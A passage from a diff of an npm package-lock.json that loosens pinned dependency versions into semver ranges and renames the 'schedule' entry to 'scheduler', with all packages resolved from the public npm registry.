"0.1.3", - "is-primitive": "2.0.0" + "is-equal-shallow": "^0.1.3", + "is-primitive": "^2.0.0" } }, "regex-not": { @@ -13969,8 +14026,8 @@ "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", "dev": true, "requires": { - "extend-shallow": "3.0.2", - "safe-regex": "1.1.0" + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" } }, "regexpp": { @@ -13985,9 +14042,9 @@ "integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=", "dev": true, "requires": { - "regenerate": "1.3.2", - "regjsgen": "0.2.0", - "regjsparser": "0.1.5" + "regenerate": "^1.2.1", + "regjsgen": "^0.2.0", + "regjsparser": "^0.1.4" } }, "regjsgen": { @@ -14002,7 +14059,7 @@ "integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=", "dev": true, "requires": { - "jsesc": "0.5.0" + "jsesc": "~0.5.0" }, "dependencies": { "jsesc": { @@ -14031,11 +14088,11 @@ "integrity": "sha1-iYyr/Ivt5Le5ETWj/9Mj5YwNsxk=", "dev": true, "requires": { - "css-select": "1.2.0", - "dom-converter": "0.1.4", - "htmlparser2": "3.3.0", - "strip-ansi": "3.0.1", - "utila": "0.3.3" + "css-select": "^1.1.0", + "dom-converter": "~0.1", + "htmlparser2": "~3.3.0", + "strip-ansi": "^3.0.0", + "utila": "~0.3" }, "dependencies": { "utila": { @@ -14064,7 +14121,7 @@ "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", "dev": true, "requires": { - "is-finite": "1.0.2" + "is-finite": "^1.0.0" } }, "request": { @@ -14073,28 +14130,28 @@ "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==", "dev": true, "requires": { - "aws-sign2": "0.7.0", - "aws4": "1.7.0", - "caseless": "0.12.0", - "combined-stream": "1.0.6", - "extend": "3.0.1", - "forever-agent": "0.6.1", - "form-data": "2.3.2", - "har-validator": "5.0.3", - "hawk": "6.0.2", - "http-signature": "1.2.0", - "is-typedarray": "1.0.0", - "isstream": "0.1.2", - "json-stringify-safe": "5.0.1", - "mime-types": "2.1.18", - "oauth-sign": "0.8.2", - "performance-now": "2.1.0", - "qs": "6.5.1", - "safe-buffer": "5.1.1", - "stringstream": "0.0.5", - "tough-cookie": "2.3.4", - "tunnel-agent": "0.6.0", - "uuid": "3.2.1" + "aws-sign2": "~0.7.0", + "aws4": "^1.6.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.5", + "extend": "~3.0.1", + "forever-agent": "~0.6.1", + "form-data": "~2.3.1", + "har-validator": "~5.0.3", + "hawk": "~6.0.2", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.17", + "oauth-sign": "~0.8.2", + "performance-now": "^2.1.0", + "qs": "~6.5.1", + "safe-buffer": "^5.1.1", + "stringstream": "~0.0.5", + "tough-cookie": "~2.3.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.1.0" }, "dependencies": { "mime-db": { @@ -14109,7 +14166,7 @@ "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", "dev": true, "requires": { - "mime-db": "1.33.0" + "mime-db": "~1.33.0" } }, "qs": { @@ -14126,7 +14183,7 @@ "integrity": "sha1-XTa7V5YcZzqlt4jbyBQf3yO0Tgg=", "dev": true, "requires": { - "throttleit": "1.0.0" + "throttleit": "^1.0.0" } }, "require-directory": { @@ -14147,8 +14204,8 @@ "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", "dev": true, "requires": { - "caller-path": "0.1.0", - "resolve-from": "1.0.1" + "caller-path": "^0.1.0", + "resolve-from": "^1.0.0" } }, "requires-port": { @@ -14163,7 +14220,7 @@ "integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=", "dev": true, "requires": { - "resolve-from": "3.0.0" + "resolve-from": "^3.0.0" }, "dependencies": { "resolve-from": { @@ -14197,8 +14254,8 @@ "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", "dev": true, "requires": { - "onetime": "2.0.1", - "signal-exit": "3.0.2" + "onetime": "^2.0.0", + "signal-exit": "^3.0.2" } }, "ret": { @@ -14220,7 +14277,7 @@ "dev": true, "optional": true, "requires": { - "align-text": "0.1.4" + "align-text": "^0.1.1" } }, "rimraf": { @@ -14229,7 +14286,7 @@ "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", "dev": true, "requires": { - "glob": "7.1.3" + "glob": "^7.0.5" } }, "ripemd160": { @@ -14238,8 +14295,8 @@ "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==", "dev": true, "requires": { - "hash-base": "3.0.4", - "inherits": "2.0.3" + "hash-base": "^3.0.0", + "inherits": "^2.0.1" } }, "run-async": { @@ -14248,7 +14305,7 @@ "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", "dev": true, "requires": { - "is-promise": "2.1.0" + "is-promise": "^2.1.0" } }, "run-queue": { @@ -14257,7 +14314,7 @@ "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", "dev": true, "requires": { - "aproba": "1.2.0" + "aproba": "^1.1.1" } }, "rxjs": { @@ -14266,7 +14323,7 @@ "integrity": "sha512-JTWmoY9tWCs7zvIk/CvRjhjGaOd+OVBM987mxFo+OW66cGpdKjZcpmc74ES1sB//7Kl/PAe8+wEakuhG4pcgOw==", "dev": true, "requires": { - "tslib": "1.9.3" + "tslib": "^1.9.0" } }, "safe-buffer": { @@ -14281,7 +14338,7 @@ "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", "dev": true, "requires": { - "ret": "0.1.15" + "ret": "~0.1.10" } }, "safer-buffer": { @@ -14290,12 +14347,13 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "dev": true }, - "schedule": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/schedule/-/schedule-0.5.0.tgz", - "integrity": "sha512-HUcJicG5Ou8xfR//c2rPT0lPIRR09vVvN81T9fqfVgBmhERUbDEQoYKjpBxbueJnCPpSu2ujXzOnRQt6x9o/jw==", + "scheduler": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.11.2.tgz", + "integrity": "sha512-+WCP3s3wOaW4S7C1tl3TEXp4l9lJn0ZK8G3W3WKRWmw77Z2cIFUW2MiNTMHn5sCjxN+t7N43HAOOgMjyAg5hlg==", "requires": { - "object-assign": "4.1.1" + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" } }, "schema-utils": { @@ -14304,8 +14362,8 @@ "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", "dev": true, "requires": { - "ajv": "6.5.2", - "ajv-keywords": "3.2.0" + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0" } }, "select-hose": { @@ -14336,18 +14394,18 @@ "dev": true, "requires": { "debug": "2.6.9", - "depd": "1.1.2", - "destroy": "1.0.4", - "encodeurl": "1.0.2", - "escape-html": "1.0.3", - "etag": "1.8.1", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", "fresh": "0.5.2", - "http-errors": "1.6.3", + "http-errors": "~1.6.2", "mime": "1.4.1", "ms": "2.0.0", - "on-finished": "2.3.0", - "range-parser": "1.2.0", - "statuses": "1.4.0" + "on-finished": "~2.3.0", + "range-parser": "~1.2.0", + "statuses": "~1.4.0" }, "dependencies": { "debug": { @@ -14385,13 +14443,13 @@ "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=", "dev": true, "requires": { - "accepts": "1.3.5", + "accepts": "~1.3.4", "batch": "0.6.1", "debug": "2.6.9", - "escape-html": "1.0.3", - "http-errors": "1.6.3", - "mime-types": "2.1.20", - "parseurl": "1.3.2" + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" }, "dependencies": { "debug": { @@ -14415,7 +14473,7 @@ "integrity": "sha512-HrkrPaP9vGuWbLK1B1FfgAkbqNjIuy4eHlIYnFi7kamZyLLrGlo2mpcx0bBmNpKqBtYtAfGbodDddIgddSJC2A==", "dev": true, "requires": { - "mime-db": "1.36.0" + "mime-db": "~1.36.0" } } } @@ -14426,9 +14484,9 @@ "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", "dev": true, "requires": { - "encodeurl": "1.0.2", - "escape-html": "1.0.3", - "parseurl": "1.3.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.2", "send": "0.16.2" } }, @@ -14450,10 +14508,10 @@ "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", "dev": true, "requires": { - "extend-shallow": "2.0.1", - "is-extendable": "0.1.1", - "is-plain-object": "2.0.4", - "split-string": "3.1.0" + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" }, "dependencies": { "extend-shallow": { @@ -14462,7 +14520,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -14485,8 +14543,8 @@ "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", "dev": true, "requires": { - "inherits": "2.0.3", - "safe-buffer": "5.1.1" + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" } }, "shallowequal": { @@ -14501,7 +14559,7 @@ "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", "dev": true, "requires": { - "shebang-regex": "1.0.0" + "shebang-regex": "^1.0.0" } }, "shebang-regex": { @@ -14528,7 +14586,7 @@ "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", "dev": true, "requires": { - "is-fullwidth-code-point": "2.0.0" + "is-fullwidth-code-point": "^2.0.0" } }, "snapdragon": { @@ -14537,14 +14595,14 @@ "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", "dev": true, "requires": { - "base": "0.11.2", - "debug": "2.6.8", - "define-property": "0.2.5", - "extend-shallow": "2.0.1", - "map-cache": "0.2.2", - "source-map": "0.5.6", - "source-map-resolve": "0.5.2", - "use": "3.1.1" + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" }, "dependencies": { "define-property": { @@ -14553,7 +14611,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } }, "extend-shallow": { @@ -14562,7 +14620,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -14573,9 +14631,9 @@ "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", "dev": true, "requires": { - "define-property": "1.0.0", - "isobject": "3.0.1", - "snapdragon-util": "3.0.1" + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" }, "dependencies": { "define-property": { @@ -14584,7 +14642,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "1.0.2" + "is-descriptor": "^1.0.0" } }, "is-accessor-descriptor": { @@ -14593,7 +14651,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -14602,7 +14660,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -14611,9 +14669,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "isobject": { @@ -14636,7 +14694,7 @@ "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.2.0" } }, "sntp": { @@ -14645,7 +14703,7 @@ "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==", "dev": true, "requires": { - "hoek": "4.2.1" + "hoek": "4.x.x" } }, "socket.io": { @@ -14654,12 +14712,12 @@ "integrity": "sha512-rORqq9c+7W0DAK3cleWNSyfv/qKXV99hV4tZe+gGLfBECw3XEhBy7x85F3wypA9688LKjtwO9pX9L33/xQI8yA==", "dev": true, "requires": { - "debug": "3.1.0", - "engine.io": "3.2.0", - "has-binary2": "1.0.3", - "socket.io-adapter": "1.1.1", + "debug": "~3.1.0", + "engine.io": "~3.2.0", + "has-binary2": "~1.0.2", + "socket.io-adapter": "~1.1.0", "socket.io-client": "2.1.1", - "socket.io-parser": "3.2.0" + "socket.io-parser": "~3.2.0" }, "dependencies": { "debug": { @@ -14689,15 +14747,15 @@ "base64-arraybuffer": "0.1.5", "component-bind": "1.0.0", "component-emitter": "1.2.1", - "debug": "3.1.0", - "engine.io-client": "3.2.1", - "has-binary2": "1.0.3", + "debug": "~3.1.0", + "engine.io-client": "~3.2.0", + "has-binary2": "~1.0.2", "has-cors": "1.1.0", "indexof": "0.0.1", "object-component": "0.0.3", "parseqs": "0.0.5", "parseuri": "0.0.5", - "socket.io-parser": "3.2.0", + "socket.io-parser": "~3.2.0", "to-array": "0.1.4" }, "dependencies": { @@ -14719,7 +14777,7 @@ "dev": true, "requires": { "component-emitter": "1.2.1", - "debug": "3.1.0", + "debug": "~3.1.0", "isarray": "2.0.1" }, "dependencies": { @@ -14746,8 +14804,8 @@ "integrity": "sha512-V48klKZl8T6MzatbLlzzRNhMepEys9Y4oGFpypBFFn1gLI/QQ9HtLLyWJNbPlwGLelOVOEijUbTTJeLLI59jLw==", "dev": true, "requires": { - "faye-websocket": "0.10.0", - "uuid": "3.2.1" + "faye-websocket": "^0.10.0", + "uuid": "^3.0.1" } }, "sockjs-client": { @@ -14756,12 +14814,12 @@ "integrity": "sha1-G7fA9yIsQPQq3xT0RCy9Eml3GoM=", "dev": true, "requires": { - "debug": "2.6.8", + "debug": "^2.6.6", "eventsource": "0.1.6", - "faye-websocket": "0.11.1", - "inherits": "2.0.3", - "json3": "3.3.2", - "url-parse": "1.4.3" + "faye-websocket": "~0.11.0", + "inherits": "^2.0.1", + "json3": "^3.3.2", + "url-parse": "^1.1.8" }, "dependencies": { "faye-websocket": { @@ -14770,7 +14828,7 @@ "integrity": "sha1-8O/hjE9W5PQK/H4Gxxn9XuYYjzg=", "dev": true, "requires": { - "websocket-driver": "0.7.0" + "websocket-driver": ">=0.5.1" } } } @@ -14793,11 +14851,11 @@ "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", "dev": true, "requires": { - "atob": "2.1.1", - "decode-uri-component": "0.2.0", - "resolve-url": "0.2.1", - "source-map-url": "0.4.0", - "urix": "0.1.0" + "atob": "^2.1.1", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" } }, "source-map-support": { @@ -14806,7 +14864,7 @@ "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", "dev": true, "requires": { - "source-map": "0.5.6" + "source-map": "^0.5.6" } }, "source-map-url": { @@ -14821,8 +14879,8 @@ "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", "dev": true, "requires": { - "spdx-expression-parse": "3.0.0", - "spdx-license-ids": "3.0.0" + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" } }, "spdx-exceptions": { @@ -14837,8 +14895,8 @@ "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", "dev": true, "requires": { - "spdx-exceptions": "2.1.0", - "spdx-license-ids": "3.0.0" + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" } }, "spdx-license-ids": { @@ -14853,12 +14911,12 @@ "integrity": "sha1-Qv9B7OXMD5mjpsKKq7c/XDsDrLw=", "dev": true, "requires": { - "debug": "2.6.8", - "handle-thing": "1.2.5", - "http-deceiver": "1.2.7", - "safe-buffer": "5.1.1", - "select-hose": "2.0.0", - "spdy-transport": "2.1.0" + "debug": "^2.6.8", + "handle-thing": "^1.2.5", + "http-deceiver": "^1.2.7", + "safe-buffer": "^5.0.1", + "select-hose": "^2.0.0", + "spdy-transport": "^2.0.18" } }, "spdy-transport": { @@ -14867,13 +14925,13 @@ "integrity": "sha512-bpUeGpZcmZ692rrTiqf9/2EUakI6/kXX1Rpe0ib/DyOzbiexVfXkw6GnvI9hVGvIwVaUhkaBojjCZwLNRGQg1g==", "dev": true, "requires": { - "debug": "2.6.8", - "detect-node": "2.0.4", - "hpack.js": "2.1.6", - "obuf": "1.1.2", - "readable-stream": "2.3.6", - "safe-buffer": "5.1.1", - "wbuf": "1.7.3" + "debug": "^2.6.8", + "detect-node": "^2.0.3", + "hpack.js": "^2.1.6", + "obuf": "^1.1.1", + "readable-stream": "^2.2.9", + "safe-buffer": "^5.0.1", + "wbuf": "^1.7.2" }, "dependencies": { "isarray": { @@ -14894,13 +14952,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -14909,7 +14967,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -14920,7 +14978,7 @@ "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", "dev": true, "requires": { - "extend-shallow": "3.0.2" + "extend-shallow": "^3.0.0" } }, "sprintf-js": { @@ -14935,14 +14993,14 @@ "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", "dev": true, "requires": { - "asn1": "0.2.3", - "assert-plus": "1.0.0", - "bcrypt-pbkdf": "1.0.1", - "dashdash": "1.14.1", - "ecc-jsbn": "0.1.1", - "getpass": "0.1.7", - "jsbn": "0.1.1", - "tweetnacl": "0.14.5" + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "tweetnacl": "~0.14.0" } }, "ssri": { @@ -14951,7 +15009,7 @@ "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "^5.1.1" } }, "static-extend": { @@ -14960,8 +15018,8 @@ "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", "dev": true, "requires": { - "define-property": "0.2.5", - "object-copy": "0.1.0" + "define-property": "^0.2.5", + "object-copy": "^0.1.0" }, "dependencies": { "define-property": { @@ -14970,7 +15028,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } } } @@ -14987,8 +15045,8 @@ "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=", "dev": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" + "inherits": "~2.0.1", + "readable-stream": "^2.0.2" }, "dependencies": { "isarray": { @@ -15009,13 +15067,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -15024,7 +15082,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -15035,8 +15093,8 @@ "integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==", "dev": true, "requires": { - "end-of-stream": "1.4.1", - "stream-shift": "1.0.0" + "end-of-stream": "^1.1.0", + "stream-shift": "^1.0.0" } }, "stream-http": { @@ -15045,11 +15103,11 @@ "integrity": "sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==", "dev": true, "requires": { - "builtin-status-codes": "3.0.0", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "to-arraybuffer": "1.0.1", - "xtend": "4.0.1" + "builtin-status-codes": "^3.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.3.6", + "to-arraybuffer": "^1.0.0", + "xtend": "^4.0.0" }, "dependencies": { "isarray": { @@ -15070,13 +15128,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -15085,7 +15143,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -15102,10 +15160,10 @@ "integrity": "sha512-WREzfy0r0zUqp3lGO096wRuUp7ho1X6uo/7DJfTlEi0Iv/4gT7YHqXDjKC2ioVGBZtE8QzsQD9nx1nIuoZ57jQ==", "dev": true, "requires": { - "date-format": "1.2.0", - "debug": "3.1.0", - "mkdirp": "0.5.1", - "readable-stream": "2.3.6" + "date-format": "^1.2.0", + "debug": "^3.1.0", + "mkdirp": "^0.5.1", + "readable-stream": "^2.3.0" }, "dependencies": { "debug": { @@ -15135,13 +15193,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -15150,7 +15208,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -15161,8 +15219,8 @@ "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "dev": true, "requires": { - "is-fullwidth-code-point": "2.0.0", - "strip-ansi": "4.0.0" + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" }, "dependencies": { "ansi-regex": { @@ -15177,7 +15235,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } } } @@ -15200,7 +15258,7 @@ "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", "dev": true, "requires": { - "ansi-regex": "2.1.1" + "ansi-regex": "^2.0.0" } }, "strip-eof": { @@ -15215,7 +15273,7 @@ "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", "dev": true, "requires": { - "get-stdin": "4.0.1" + "get-stdin": "^4.0.1" } }, "strip-json-comments": { @@ -15230,8 +15288,8 @@ "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", "dev": true, "requires": { - "loader-utils": "1.1.0", - "schema-utils": "0.4.7" + "loader-utils": "^1.1.0", + "schema-utils": "^0.4.5" }, "dependencies": { "loader-utils": { @@ -15240,9 +15298,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } } } @@ -15264,12 +15322,12 @@ "integrity": 